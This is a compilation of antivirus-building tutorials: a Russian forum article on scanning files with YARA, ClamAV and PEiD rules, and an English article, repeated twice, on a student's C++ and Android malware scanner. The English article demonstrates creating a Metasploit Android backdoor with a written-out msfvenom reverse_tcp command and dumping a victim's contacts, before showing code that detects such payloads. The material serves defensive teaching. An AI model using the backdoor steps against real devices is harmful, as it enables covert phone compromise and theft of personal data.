Затем мы выполняем преобразование, выполнив следующую команду: python peid_to_yara.py -f userdb.txt -o peid.yara
После завершения команды подписи Yara будут содержаться в выходном файле peid.yara.
Тестовый вирус — EICAR
Теперь нам нужен какой-либо вирус для наших тестов, но если у вас нет желания тестировать реальные вирусы, которые также могут принести вред вашему ПК при тесте, вы можете сами создать тестовый вирус, но он будет совершенно безобидным.
EICAR вирус — это небольшой кусок текста, суть которого заключается в том, что все современные AV его обнаруживают.
Мы будем его также тестировать в “полевых условиях”, например, для проверки нашего AV(Если конечно статья вам зайдет).
Но в этой статье мы проверим обнаруживают ли его инструмент Yara.
Теперь давайте сотворим этот “псевдо-вирус”
Для этого создайте файл и вставьте следующий текст: X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
.
После этого вам необходимо сохранить файл под любым расширением(exe, com, bat, asm…)
Где взять реальные вирусы.
Если вам тестовый вирус EICAR чем-то не устраивает, то можно воспользоваться базой для скачивания реальных вирусов.
Для этих целей можно воспользоваться сервисом —
Ссылка скрыта от гостей
Среди плюшек можно отметить, что у каждого вируса имеется MD5,SHA-1,SHA-256 хэшы, IP-адресса.(Это нам поможет при написание Yara-правил).
Следующий сервис для скачивания и исследования вирусов это
Ссылка скрыта от гостей
Почитать про остальные сервисы можно тут:
Ссылка скрыта от гостей
После всего этого мы можем классифицировать примеры вредоносных программ, используя только инструмент Yara, и нам больше не нужно сканировать их с помощью правил ClamAV и PEiD. Это потому что Yara уже содержит правила из ClamAV и PEiD, которые используются в процессе сканирования, что очень удобно так как у нас имеется довольно большая база сигнатур для поиска «зловреда».
Создав свой антивирус, а создавать мы будем используя базу Yara-правил. Мы можем автоматически классифицировать вредоносные программы, правда пока только с помощью правил. Это очень полезно, когда нам быстро необходимо просканировать образец вредоносного ПО определенной категории.
Также думаю я добавлю функционал заливки файла на
Ссылка скрыта от гостей
для точного обнаружения.
Именно на основе Yara правил мы и будем создавать свой сигнатурный AV.
YARA GUI для Windows.
Как я и обещал, для тех кому не нравиться возиться с установкой yara либо с правилами и еще хочется работать в GUI режиме + под платформой Windows можно воспользоватся YARA GUI.
Скачать можно отсюда:
Ссылка скрыта от гостей
Демонстрация.
И так теперь проверим и посмотрим как протестировать файл(папку).
Для тестирование папки мы должны выполнить следующую команду: yara -r <Yara-правило> <Сканируемая папка>
В моем случае я тестирую уязвимый дамп памяти:
Как видно помимо различной информации вредоносный дамп был успешно обнаружен как Empire ReflectivePick x64.
Еще пару сканирований:
Чтобы убрать лишнюю информацию нужно использовать атрибут -w
Теперь рассмотрим как ищет «зловреда» Yara GUI версия для Windows.
Подводим итог.
В этой статье мы рассмотрели, как мы можем использовать продукт Yara с использованием ClamAV, PEiD правил для поиска вредоносных сигнатур в файлах.
Вышеупомянутый подход основан только на проверке сигнатуру(блока информации), что означает, что нетрудно обмануть Yara (с загруженными правилами ClamAV и PEiD).
Честно сказать, данный продукт может обнаруживать только известные вредоносные программы. Но если мы напишем нашу собственный вирус или закодируем его с помощью нашего собственного кодировщика, он, вероятно, не будет обнаружен, поскольку в Yara не загружены соответствующие сигнатуры. Этот пункт касается и нашего будущего антивируса.
Тем не менее, использование Yara для обнаружения вредоносной активности в файлах по-прежнему выгодно, поскольку большинство вредоносных программ в Интернете представляют собой стандартные вредоносные файлы и не содержат дополнительной маскировки, поэтому большинство вредоносных файлов можно обнаружить.
На этом 1-я часть пожалуй завершена)). Всем спасибо.
Introduction
In this article, I will share my personal experience as a student (with regards to how I programmed the anti-virus), and will also explain how it was implemented, what it does and what a person can do with it, etc.
The Repository
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH is the github repository where you can find the source code for the entire application which is programmed in C++. You may find two engines there. One is the DOS-ENGINE and the other is the GUI-ENGINE. I will clearly explain how DOS engine is implemented. With the help of DOS engine, you can create your own GUI and also customize it as you like.
Tools Which Will Be Helpful for Analysis of Malware
- CFF Explorer: http://www.ntcore.com/exsuite.php
- PEStudio: https://www.winitor.com/index.html
My Malware Detection Techniques
Hashes
First of all, I will try to explain the difference between hashing and encryption. Encryption is a two way process in which a file or a key can be encrypted (making it unreadable) and can also be decrypted by getting back its original data by using a key (which will be the same for both encryption and decryption in case the encryption process is symmetric). But, Hashes are quite different from that, when an input file/key is submitted, it coverts the data irrespective of the size into a fixed length of key which will be called as a hash. This hashing is unique, even if there is a minor change in data, the generated output will be different.
In our application, we are going to utilize MD5 hashing algorithm.
Example of MD5 hashing:
Plain-text: HASH
Output: 50b7748612b28db487d115f220bb77ab
Plain-text: Hash
Output: fae8a9257e154175da4193dbf6552ef6
You see that the two plain texts are HASH and Hash, both are quite similar words, but there is a casing difference. You can find that both hashes are entirely different. Similarly, hashes can be calculated for the files too.
Packed Executables
In olden days, due to bandwidth problems, programmers used several compression algorithms called packers. Packers are like wrappers for the executable when the executable which is packed gets executed, then the wrapper program which is present in the beginning of the program will get executed first and it will decrypt the remaining executable in one of the three ways listed below:
- Once the executable gets executed, then the packer gets executed and decrypts the remaining executable.
- The packer will unpack only the function which is needed to be executed.
- The packer will unpack the executable on a particular day and time (strange but true).
The commonly used and the most stable packer used is UPX: https://github.com/upx/upx
Characteristics of an Executable Which is Packed
- The hash of the packed executable will differ from the hash of the unpacked executable.
- The packed executables will contain less
string
s which completely hides the importantstring
s present in it.
Strings
Some valuable information can be obtained from the string
s of the executable which are not packed. They may include function name it is calling, etc. You may see the difference here.
String
s can be analyzed from the executable using https://technet.microsoft.com/en-us/sysinternals/strings.aspx or CyberGod KSGMPRH has its open-source alternative https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/SUB-PROJECTS/strings.
So known hashes, packers and unique valuable string
s present in the executable are the three rules for our scanner (Note: The project currently has 106 C++ files and I cannot paste them all here).
bool can_scan = false; malwares Path = wide_char_to_wide_string(current_path); boost::filesystem::path p = { Path }; std::string extension = p.extension().string(); if (return_boost_scan_status() == true) { if (check_extensions.is_common_extension(extension) == true) can_scan = true; } if (can_scan == true || return_boost_scan_status() == false) { if (check_extensions.is_common_extension(extension) == true) { increment_file_count(); std::cout << "File: " << Path << "n" << "extension: " << extension << "n"; std::string hash = calculate_md5 (wide_char_to_wide_string(current_path)); std::cout << "Hash: " << hash << "n"; if (check_in_database(hash) == true) { std::cout << "nHash Malicious Executable" << Path << "n"; add_suspicious_files_to_list (Path, "Suspicious[IDENTIFIED] executables"); } if (is_upx(Path)) { std::cout << "nMalicious Executable" << Path << "n"; add_suspicious_files_to_list (Path, "Suspicious[PACKED] executables"); } if (extension == ".exe") { if (is_string_present(0, Path)) { std::cout << "nMalicious Executable"; add_suspicious_files_to_list (Path, "Suspicious Semi-Declared"); int a; std::cin >> a; } } std::cout << "nFiles scanned " << return_file_count() << "n"; } else { std::cout << "Scheduling this pathn"; add_to_schedule(Path); }
This piece of code will first check whether the hash is present in the database and if the hash is present in the database, then it will mark the location of the file as malicious, else it will check whether the file is packed with UPX. If it is packed with UPX, then it will mark the file as suspicious and will subject the file to further analysis. If the string
s are present in the database, then it will mark the file as the executable.
Note
All the files which are packed are not malicious. They may be goodware too which could have packed to reduce the executable size and reduce the bandwidth.
Some malware authors use dual packing:
- Packing with their own packers first
- Then packing with the famous packing algorithm
So detecting all the packers and analyzing the executable is not possible unless I have a huge team, so we are going to use VirusTotal
‘s database for analyzing the packed executables.
VirusTotal
API is currently available only for Python and PHP. Even in Python, it uses requests (which is a third party library). What I did is I have converted the Third Party Python API for VirusTotal
to its native Urllib
API. You need VirusTotal
API key and it is easy and free to get one! by visiting the website.
import urllib.parse import urllib.request import time class VirusTotal: __apiKey = "PLEASE ADD YOUR API KEY HERE" __url = 'https://www.virustotal.com/vtapi/v2/file/report' __result = '' __md5 = '' def __init__(self,md5): print('initializing....') params = {'apikey': self.__apiKey, 'resource': md5} print('accessing virus total database.....') parameters = urllib.parse.urlencode(params) req = urllib.request.Request(self.__url, parameters.encode('utf-8')) response = urllib.request.urlopen(req) the_page = response.read() self.__result = the_page.decode('utf-8') self.__md5 = md5 self.create_json() print('result stored as '+md5+".json") print("waiting for another process...") time.sleep(20) def create_json(self): file = open(self.__md5+'.json',"w") file.write(self.__result) file.close()
This program which is programmed in Python does not require any dependencies to third party libraries at all, so we can embed it into our C++ application. The function will provide the detailed report for the suspicious packed file. Finally, after scanning, the result will be stored in a neat and clean HTML file like this:
Each file result is stored in a JSON file which comprises a scan report of 61 Scan Engines.
How the Scanning Occurs
The scanning is not scheduled like regular scan engines which uses FCFS algorithm for scanning https://en.wikipedia.org/wiki/First-come,_first-served.
Instead, it uses Priority Scheduling algorithm like it gives priority for executables to text files.
You can find more usage of DOS engine here.
Note: https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/DOS-ENGINE
You may find how to use the executable there. Pre-built executables are available in the releases section of github.
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/releases
We also have the official GUI, but it is still under development and it looks like this:
Three Primary Sources for the Spread of Malware
- The Internet
- Removable devices like usb drives, sd cards, etc.
At present, our antivirus does not offer any realtime protection and it is an on demand scanner. So we are for now primarily concentrating on Removable media devices.
Removable Devices and Spread of Malware
When a USB device is infected from a trojan or some other variant of spreadable threat, it primarily concentrates on two ways for further infection to some other computer by its execution.
- Auto-executing itself via an autorun.inf file
- Disguising itself as a user file, setting up the trap for the user to execute it
autorun.inf
autorun.inf is nothing but a file which is used to auto-execute the components like an executable.
When a trojan infects a removable drive, it adds the autorun.inf file in the executable so that whenever the executable is plugged into some other devices, then the executable gets autoexecuted if the feature is available.
Here is how an autorun.inf file will look like:
[autorun] open=bHgZZxtyu.exe
When the removable drive with this autorun file is plugged in, a file named bHgZZxtyu.exe will get executed and will cause infection to the computer.
Even though we remove the malware in the pen-drive, it gets executed and stored its copy in some place in your PC.
Here is how the program solves the solution.
Working of the Program
In order to overcome this kind of infection, first our program will check whether a removable drive contains an autorun.inf file or not. If autorun.inf file is present, then it will get the location, extension and md5 hash of the executable (which may have executed already).
Then it scans the whole computer to find if the executable has made its copy or not. The algorithm scans only EXE and will skip other files thereby saving your time. If the executable is found, it will inform to you.
[BACKDOOR] Finding Metasploit Payload Emdedded APK in Android
Metasploit is a popular penetration testing framework which is used to create payloads, bruteforcing, huge database of exploits, etc. It is the most popular and widely used framework to create backdoors. A favorite tool for Hackers and Script Kiddies.
This is one of the widely spread and the most successful threats for Android. I will however show you a short demonstration of how metasploit works.
I am using Kali Linux Rolling, you may use whatever linux distribution you like.
Step 1
Get your IP address using ifconfig [Note: I have not port-forwarded my router for several valid reasons so this backdoor works only on local network]
Step 2
Use of MSF-VENOM:
msfvenom
is a combination of Metasploit Payload and Metasploit executable encoder. msfvenom
is used to generate the payload for Android.
Now, we will recreate a TCP client using the following command:
msfvenom -p android/meterpreter/reverse_tcp LHOST = <YOUR IP> LPORT = <PORT NO> R> APP.apk
Here, -p
stands for payload.
Now, our backdoor client is created as APP.apk.
Step 3
Create our TCP server and wait for some times while the user installs the application and for the client to connect.
Once it is connected, we will dump their contacts into our system. We can do anything I will show contacts as an example.
And here are our contacts which we have dumped:
Do You See How Successful the Backdoor is? Here is the Solution
Mostly these apks are often emdedded with other famous apk’s like cracked games with unlimited ammo/ lifespan for the user, tricking the user to install the application.
How to Find whether the apk is Embedded with One of the Payloads or Not?
One way to find is by reverse engineering the apk and analysing the classes.dex file which will contain the metsploit string
s in them.
So we will write a program to scan the Android’s storage for apk files which is not installed and if an apk is found, the program will unpack the apk and scans the dex file to check if there are any metasploit traces or not.
As we discussed above, the use of string
s which provides valuable information for malware analysis, here is a program which is used to extract the string
s from the dex file:
public class Strings { String fileLocation = ""; ArrayList<string> stringsToFind; HashSet<string> stringsInFile; boolean getStringsInFile = false; public Strings(String location) { this.fileLocation = location; this.stringsInFile = new HashSet<string>(); this.getStringsInFile = true; } public Strings(String location, ArrayList<string> strings) { this.fileLocation = location; this.stringsToFind = strings; } public boolean Scanfile() { try { FileInputStream stream = new FileInputStream(this.fileLocation); BufferedReader br = new BufferedReader(new InputStreamReader(stream)); String line; while ((line = br.readLine()) != null) { if (isStringsPresent(line)) { br.close(); return true; } } br.close(); } catch (IOException e) { } catch (Exception e) { } finally { } return false; } private boolean isStringsPresent(String line) { for (String string : stringsToFind) { if (line.contains(string)) { return true; } } return false; } public HashSet<string> getStrings() { try { FileInputStream stream = new FileInputStream(this.fileLocation); BufferedReader br = new BufferedReader(new InputStreamReader(stream)); String line; while ((line = br.readLine()) != null) { Matcher asciiMatcher = Pattern.compile("[a-zA-Z0-9]*").matcher(line); while(asciiMatcher.find()) { String asciiString = asciiMatcher.group(); if(!this.stringsInFile.contains(asciiString)) { this.stringsInFile.add(asciiString); } } } br.close(); } catch (IOException e) { } catch (Exception e) { } finally { } return this.stringsInFile; } }
and a method to check if malicious string
s are present:
private boolean isStringPresent() { BufferedReader br; try { ZipFile zipFile = new ZipFile(this.fileLocation); Enumeration<!--? extends ZipEntry--> zipEntries = zipFile.entries(); while(zipEntries.hasMoreElements()) { ZipEntry zipEntry = zipEntries.nextElement(); String zipFileName = zipEntry.getName(); if(zipFileName.equals("classes.dex")) { InputStream stream = zipFile.getInputStream(zipEntry); br = new BufferedReader(new InputStreamReader(stream)); String stringsInLine; while((stringsInLine = br.readLine()) != null) { for(String key : MaliciousStrings.maliciousStrings.keySet()) { String maliciousString = new StringBuffer(key).reverse().toString(); if(stringsInLine.contains(maliciousString)) { this.threatName = MaliciousStrings.maliciousStrings.get(key); stream.close(); br.close(); zipFile.close(); return true; } } } stream.close(); br.close(); zipFile.close(); } } } catch (IOException ex) { System.out.println(ex); return false; } catch (IllegalStateException e){ return false; } catch(Exception e){} return false; }
And finally the detections are displayed in a simple interface:
This Android application is also open source
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod
Download the application from here:
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/blob/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod/app/app-release.apk
Thank you for reading!
License
It is GPL version 2 not 3, but I can’t find it here.
Introduction
In this article, I will share my personal experience as a student (with regards to how I programmed the anti-virus), and will also explain how it was implemented, what it does and what a person can do with it, etc.
The Repository
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH is the github repository where you can find the source code for the entire application which is programmed in C++. You may find two engines there. One is the DOS-ENGINE and the other is the GUI-ENGINE. I will clearly explain how DOS engine is implemented. With the help of DOS engine, you can create your own GUI and also customize it as you like.
Tools Which Will Be Helpful for Analysis of Malware
- CFF Explorer: http://www.ntcore.com/exsuite.php
- PEStudio: https://www.winitor.com/index.html
My Malware Detection Techniques
Hashes
First of all, I will try to explain the difference between hashing and encryption. Encryption is a two way process in which a file or a key can be encrypted (making it unreadable) and can also be decrypted by getting back its original data by using a key (which will be the same for both encryption and decryption in case the encryption process is symmetric). But, Hashes are quite different from that, when an input file/key is submitted, it coverts the data irrespective of the size into a fixed length of key which will be called as a hash. This hashing is unique, even if there is a minor change in data, the generated output will be different.
In our application, we are going to utilize MD5 hashing algorithm.
Example of MD5 hashing:
Plain-text: HASH
Output: 50b7748612b28db487d115f220bb77ab
Plain-text: Hash
Output: fae8a9257e154175da4193dbf6552ef6
You see that the two plain texts are HASH and Hash, both are quite similar words, but there is a casing difference. You can find that both hashes are entirely different. Similarly, hashes can be calculated for the files too.
Packed Executables
In olden days, due to bandwidth problems, programmers used several compression algorithms called packers. Packers are like wrappers for the executable when the executable which is packed gets executed, then the wrapper program which is present in the beginning of the program will get executed first and it will decrypt the remaining executable in one of the three ways listed below:
- Once the executable gets executed, then the packer gets executed and decrypts the remaining executable.
- The packer will unpack only the function which is needed to be executed.
- The packer will unpack the executable on a particular day and time (strange but true).
The commonly used and the most stable packer used is UPX: https://github.com/upx/upx
Characteristics of an Executable Which is Packed
- The hash of the packed executable will differ from the hash of the unpacked executable.
- The packed executables will contain less
string
s which completely hides the importantstring
s present in it.
Strings
Some valuable information can be obtained from the string
s of the executable which are not packed. They may include function name it is calling, etc. You may see the difference here.
String
s can be analyzed from the executable using https://technet.microsoft.com/en-us/sysinternals/strings.aspx or CyberGod KSGMPRH has its open-source alternative https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/SUB-PROJECTS/strings.
So known hashes, packers and unique valuable string
s present in the executable are the three rules for our scanner (Note: The project currently has 106 C++ files and I cannot paste them all here).
bool can_scan = false; malwares Path = wide_char_to_wide_string(current_path); boost::filesystem::path p = { Path }; std::string extension = p.extension().string(); if (return_boost_scan_status() == true) { if (check_extensions.is_common_extension(extension) == true) can_scan = true; } if (can_scan == true || return_boost_scan_status() == false) { if (check_extensions.is_common_extension(extension) == true) { increment_file_count(); std::cout << "File: " << Path << "n" << "extension: " << extension << "n"; std::string hash = calculate_md5 (wide_char_to_wide_string(current_path)); std::cout << "Hash: " << hash << "n"; if (check_in_database(hash) == true) { std::cout << "nHash Malicious Executable" << Path << "n"; add_suspicious_files_to_list (Path, "Suspicious[IDENTIFIED] executables"); } if (is_upx(Path)) { std::cout << "nMalicious Executable" << Path << "n"; add_suspicious_files_to_list (Path, "Suspicious[PACKED] executables"); } if (extension == ".exe") { if (is_string_present(0, Path)) { std::cout << "nMalicious Executable"; add_suspicious_files_to_list (Path, "Suspicious Semi-Declared"); int a; std::cin >> a; } } std::cout << "nFiles scanned " << return_file_count() << "n"; } else { std::cout << "Scheduling this pathn"; add_to_schedule(Path); }
This piece of code will first check whether the hash is present in the database and if the hash is present in the database, then it will mark the location of the file as malicious, else it will check whether the file is packed with UPX. If it is packed with UPX, then it will mark the file as suspicious and will subject the file to further analysis. If the string
s are present in the database, then it will mark the file as the executable.
Note
All the files which are packed are not malicious. They may be goodware too which could have packed to reduce the executable size and reduce the bandwidth.
Some malware authors use dual packing:
- Packing with their own packers first
- Then packing with the famous packing algorithm
So detecting all the packers and analyzing the executable is not possible unless I have a huge team, so we are going to use VirusTotal
‘s database for analyzing the packed executables.
VirusTotal
API is currently available only for Python and PHP. Even in Python, it uses requests (which is a third party library). What I did is I have converted the Third Party Python API for VirusTotal
to its native Urllib
API. You need VirusTotal
API key and it is easy and free to get one! by visiting the website.
import urllib.parse import urllib.request import time class VirusTotal: __apiKey = "PLEASE ADD YOUR API KEY HERE" __url = 'https://www.virustotal.com/vtapi/v2/file/report' __result = '' __md5 = '' def __init__(self,md5): print('initializing....') params = {'apikey': self.__apiKey, 'resource': md5} print('accessing virus total database.....') parameters = urllib.parse.urlencode(params) req = urllib.request.Request(self.__url, parameters.encode('utf-8')) response = urllib.request.urlopen(req) the_page = response.read() self.__result = the_page.decode('utf-8') self.__md5 = md5 self.create_json() print('result stored as '+md5+".json") print("waiting for another process...") time.sleep(20) def create_json(self): file = open(self.__md5+'.json',"w") file.write(self.__result) file.close()
This program which is programmed in Python does not require any dependencies to third party libraries at all, so we can embed it into our C++ application. The function will provide the detailed report for the suspicious packed file. Finally, after scanning, the result will be stored in a neat and clean HTML file like this:
Each file result is stored in a JSON file which comprises a scan report of 61 Scan Engines.
How the Scanning Occurs
The scanning is not scheduled like regular scan engines which uses FCFS algorithm for scanning https://en.wikipedia.org/wiki/First-come,_first-served.
Instead, it uses Priority Scheduling algorithm like it gives priority for executables to text files.
You can find more usage of DOS engine here.
Note: https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/DOS-ENGINE
You may find how to use the executable there. Pre-built executables are available in the releases section of github.
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/releases
We also have the official GUI, but it is still under development and it looks like this:
Three Primary Sources for the Spread of Malware
- The Internet
- Removable devices like usb drives, sd cards, etc.
At present, our antivirus does not offer any realtime protection and it is an on demand scanner. So we are for now primarily concentrating on Removable media devices.
Removable Devices and Spread of Malware
When a USB device is infected from a trojan or some other variant of spreadable threat, it primarily concentrates on two ways for further infection to some other computer by its execution.
- Auto-executing itself via an autorun.inf file
- Disguising itself as a user file, setting up the trap for the user to execute it
autorun.inf
autorun.inf is nothing but a file which is used to auto-execute the components like an executable.
When a trojan infects a removable drive, it adds the autorun.inf file in the executable so that whenever the executable is plugged into some other devices, then the executable gets autoexecuted if the feature is available.
Here is how an autorun.inf file will look like:
[autorun] open=bHgZZxtyu.exe
When the removable drive with this autorun file is plugged in, a file named bHgZZxtyu.exe will get executed and will cause infection to the computer.
Even though we remove the malware in the pen-drive, it gets executed and stored its copy in some place in your PC.
Here is how the program solves the solution.
Working of the Program
In order to overcome this kind of infection, first our program will check whether a removable drive contains an autorun.inf file or not. If autorun.inf file is present, then it will get the location, extension and md5 hash of the executable (which may have executed already).
Then it scans the whole computer to find if the executable has made its copy or not. The algorithm scans only EXE and will skip other files thereby saving your time. If the executable is found, it will inform to you.
[BACKDOOR] Finding Metasploit Payload Emdedded APK in Android
Metasploit is a popular penetration testing framework which is used to create payloads, bruteforcing, huge database of exploits, etc. It is the most popular and widely used framework to create backdoors. A favorite tool for Hackers and Script Kiddies.
This is one of the widely spread and the most successful threats for Android. I will however show you a short demonstration of how metasploit works.
I am using Kali Linux Rolling, you may use whatever linux distribution you like.
Step 1
Get your IP address using ifconfig [Note: I have not port-forwarded my router for several valid reasons so this backdoor works only on local network]
Step 2
Use of MSF-VENOM:
msfvenom
is a combination of Metasploit Payload and Metasploit executable encoder. msfvenom
is used to generate the payload for Android.
Now, we will recreate a TCP client using the following command:
msfvenom -p android/meterpreter/reverse_tcp LHOST = <YOUR IP> LPORT = <PORT NO> R> APP.apk
Here, -p
stands for payload.
Now, our backdoor client is created as APP.apk.
Step 3
Create our TCP server and wait for some times while the user installs the application and for the client to connect.
Once it is connected, we will dump their contacts into our system. We can do anything I will show contacts as an example.
And here are our contacts which we have dumped:
Do You See How Successful the Backdoor is? Here is the Solution
Mostly these apks are often emdedded with other famous apk’s like cracked games with unlimited ammo/ lifespan for the user, tricking the user to install the application.
How to Find whether the apk is Embedded with One of the Payloads or Not?
One way to find is by reverse engineering the apk and analysing the classes.dex file which will contain the metsploit string
s in them.
So we will write a program to scan the Android’s storage for apk files which is not installed and if an apk is found, the program will unpack the apk and scans the dex file to check if there are any metasploit traces or not.
As we discussed above, the use of string
s which provides valuable information for malware analysis, here is a program which is used to extract the string
s from the dex file:
public class Strings { String fileLocation = ""; ArrayList<string> stringsToFind; HashSet<string> stringsInFile; boolean getStringsInFile = false; public Strings(String location) { this.fileLocation = location; this.stringsInFile = new HashSet<string>(); this.getStringsInFile = true; } public Strings(String location, ArrayList<string> strings) { this.fileLocation = location; this.stringsToFind = strings; } public boolean Scanfile() { try { FileInputStream stream = new FileInputStream(this.fileLocation); BufferedReader br = new BufferedReader(new InputStreamReader(stream)); String line; while ((line = br.readLine()) != null) { if (isStringsPresent(line)) { br.close(); return true; } } br.close(); } catch (IOException e) { } catch (Exception e) { } finally { } return false; } private boolean isStringsPresent(String line) { for (String string : stringsToFind) { if (line.contains(string)) { return true; } } return false; } public HashSet<string> getStrings() { try { FileInputStream stream = new FileInputStream(this.fileLocation); BufferedReader br = new BufferedReader(new InputStreamReader(stream)); String line; while ((line = br.readLine()) != null) { Matcher asciiMatcher = Pattern.compile("[a-zA-Z0-9]*").matcher(line); while(asciiMatcher.find()) { String asciiString = asciiMatcher.group(); if(!this.stringsInFile.contains(asciiString)) { this.stringsInFile.add(asciiString); } } } br.close(); } catch (IOException e) { } catch (Exception e) { } finally { } return this.stringsInFile; } }
and a method to check if malicious string
s are present:
private boolean isStringPresent() { BufferedReader br; try { ZipFile zipFile = new ZipFile(this.fileLocation); Enumeration<!--? extends ZipEntry--> zipEntries = zipFile.entries(); while(zipEntries.hasMoreElements()) { ZipEntry zipEntry = zipEntries.nextElement(); String zipFileName = zipEntry.getName(); if(zipFileName.equals("classes.dex")) { InputStream stream = zipFile.getInputStream(zipEntry); br = new BufferedReader(new InputStreamReader(stream)); String stringsInLine; while((stringsInLine = br.readLine()) != null) { for(String key : MaliciousStrings.maliciousStrings.keySet()) { String maliciousString = new StringBuffer(key).reverse().toString(); if(stringsInLine.contains(maliciousString)) { this.threatName = MaliciousStrings.maliciousStrings.get(key); stream.close(); br.close(); zipFile.close(); return true; } } } stream.close(); br.close(); zipFile.close(); } } } catch (IOException ex) { System.out.println(ex); return false; } catch (IllegalStateException e){ return false; } catch(Exception e){} return false; }
And finally the detections are displayed in a simple interface:
This Android application is also open source
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod
Download the application from here:
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/blob/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod/app/app-release.apk
Thank you for reading!
License
It is GPL version 2 not 3, but I can’t find it here.
Статья Пишем свой сигнатурный антивирус на C#. Часть 1 — Небольшой экскурс в YARA.
Всем доброго времени суток уважаемые участники форума. В этот раз мы напишем свой сигнатурный антивирус(Название можете предложить в комментариях). Возможно также добавиться какой-то функционал. Теперь перейдем к теме, а именно к 1-й части — «Небольшой экскурс в YARA».
- В первой части мы разберем Yara проект. Разберем как установить инструмент, как получить yara-правила, найдем угрозы.
- Во второй части научимся сами писать yara-правила.
- В третьей части напишем антивирус.
Что такое YARA?
Yara — это инструмент, который помогает нам идентифицировать и классифицировать образцы вредоносных программ с помощью правил. Мы можем использовать Yara для классификации файлов или запуска процессов, чтобы определить, к какому семейству относятся вредоносные программы.
Также YARA является мультиплатформенным инструментом, работает на всех популярных ОС и может использоваться через интерфейс командной строки или из ваших собственных скриптов Python с расширением yara-python. Также можно использовать GUI(Рассмотрим далее).
Установка.
Чтобы установить Yara, сначала нужно выполнить следующую команду:
apt install yara
После этого мы можем использовать Yara, выполнив команду yara, которая по умолчанию отобразит справку по использованию, как показано ниже:
Мы видим, что для запуска Yara нам нужно предоставить набор правил (RULEFILE), которые мы хотим применить, и путь к файлу (FILE) или pid (PID) процесса, который мы хотим сканировать.
Подготовка правил для тестов.
Правила ClamAV:
Теперь нам нужно получить файл правил, чтобы использовать Yara. В следующей части мы сами напишем файл с правилами, но сейчас будем использовать правила ClamAV. Единственная проблема с правилами ClamAV состоит в том, что мы не можем использовать их непосредственно с Yara, потому что Yara имеет свой собственный способ их описания(свой синтаксис).
Именно здесь вступает в игру скрипт clamav_to_yara.py .
Для этого нам нужно клонировать SVN-репозиторий, который включает скрипт python clamav_to_yara.py .
Ссылка на репозиторий mattulm/volgui
- wget https://raw.githubusercontent.com/mattulm/volgui/master/tools/clamav_to_yara.py
- python clamav_to_yara.py .
- wget http://database.clamav.net/main.cvd
- sigtool —unpack main.cvd
- python clamav_to_yara.py -f main.ndb -o test.yara
- yara -r test.yara /myfolder_for_test
Правила PEiD можно скачать с сайта:
Чтобы преобразовать правила PEiD в правила Yara, мы можем просто использовать Python скрипт peid_to_yara.py , который также можно загрузить с jvoisin/yara_rules
Затем мы выполняем преобразование, выполнив следующую команду: python peid_to_yara.py -f userdb.txt -o peid.yara
После завершения команды подписи Yara будут содержаться в выходном файле peid.yara.
Тестовый вирус — EICAR
Теперь нам нужен какой-либо вирус для наших тестов, но если у вас нет желания тестировать реальные вирусы, которые также могут принести вред вашему ПК при тесте, вы можете сами создать тестовый вирус, но он будет совершенно безобидным.
EICAR вирус — это небольшой кусок текста, суть которого заключается в том, что все современные AV его обнаруживают.
Мы будем его также тестировать в “полевых условиях”, например, для проверки нашего AV( Если конечно статья вам зайдет ).
Но в этой статье мы проверим обнаруживают ли его инструмент Yara.
Теперь давайте сотворим этот “псевдо-вирус”
Для этого создайте файл и вставьте следующий текст: X5O!P%@AP[4PZX54(P^)7CC)7>$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* .
После этого вам необходимо сохранить файл под любым расширением(exe, com, bat, asm…)
Где взять реальные вирусы.
Если вам тестовый вирус EICAR чем-то не устраивает, то можно воспользоваться базой для скачивания реальных вирусов.
Для этих целей можно воспользоваться сервисом —
Среди плюшек можно отметить, что у каждого вируса имеется MD5,SHA-1,SHA-256 хэшы, IP-адресса.(Это нам поможет при написание Yara-правил).
Следующий сервис для скачивания и исследования вирусов это
После всего этого мы можем классифицировать примеры вредоносных программ, используя только инструмент Yara, и нам больше не нужно сканировать их с помощью правил ClamAV и PEiD. Это потому что Yara уже содержит правила из ClamAV и PEiD, которые используются в процессе сканирования, что очень удобно так как у нас имеется довольно большая база сигнатур для поиска «зловреда».
Создав свой антивирус, а создавать мы будем используя базу Yara-правил. Мы можем автоматически классифицировать вредоносные программы, правда пока только с помощью правил. Это очень полезно, когда нам быстро необходимо просканировать образец вредоносного ПО определенной категории.
Также думаю я добавлю функционал заливки файла на
для точного обнаружения.
Именно на основе Yara правил мы и будем создавать свой сигнатурный AV.
YARA GUI для Windows.
Как я и обещал, для тех кому не нравиться возиться с установкой yara либо с правилами и еще хочется работать в GUI режиме + под платформой Windows можно воспользоватся YARA GUI.
Скачать можно отсюда:
Демонстрация.
И так теперь проверим и посмотрим как протестировать файл(папку).
Для тестирование папки мы должны выполнить следующую команду: yara -r <Yara-правило> <Сканируемая папка>
В моем случае я тестирую уязвимый дамп памяти:
Как видно помимо различной информации вредоносный дамп был успешно обнаружен как Empire ReflectivePick x64.
Еще пару сканирований:
Чтобы убрать лишнюю информацию нужно использовать атрибут -w
Теперь рассмотрим как ищет «зловреда» Yara GUI версия для Windows.
Подводим итог.
В этой статье мы рассмотрели, как мы можем использовать продукт Yara с использованием ClamAV, PEiD правил для поиска вредоносных сигнатур в файлах.
Вышеупомянутый подход основан только на проверке сигнатуру(блока информации), что означает, что нетрудно обмануть Yara (с загруженными правилами ClamAV и PEiD).
